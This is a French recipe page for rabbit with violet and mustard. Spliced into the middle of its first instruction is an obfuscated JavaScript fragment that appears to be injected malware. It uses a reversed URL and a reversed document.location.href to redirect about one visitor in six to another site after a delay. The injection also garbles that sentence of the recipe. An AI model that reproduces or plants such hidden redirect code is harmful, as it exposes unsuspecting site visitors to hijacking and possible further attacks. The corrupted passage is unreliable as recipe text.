Lapin à la violette
2018-02-17Rincez, essorez, hachez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toutes les herbes ensembles. Pelez, hachez les échalotes, et les oignons. Coupez le lapin en morceaux.
Ingrédients
Rincez, essorez, hachez toutes les herbes ensembles. Pelez, hachez les échalotes, et les oignons. Coupez le lapin en morceaux. Dans une cocotte avec l'huile d'arachide, sur feu vif. Faites revenir le lapin, salez et poivrez. Quand ils sont biens dorés, ajoutez les échalotes et les oignons hachés, quand l'ensemble a pris couleur, mouillez avec le vin blanc, ajoutez les herbes. Portez à ébullition puis faites cuire sur feu doux pendant 1 heure.
Vérifiez la cuisson, retirez le lapin. Tout en remuant avec un fouet ajoutez la moutarde avec le ½ d'eau. Remettez le lapin dans la cocotte et prolonger la cuisson de 10 minutes sur feu doux. Goûtez l'assaisonnement, et servez avec des tagliatelles fraîches.Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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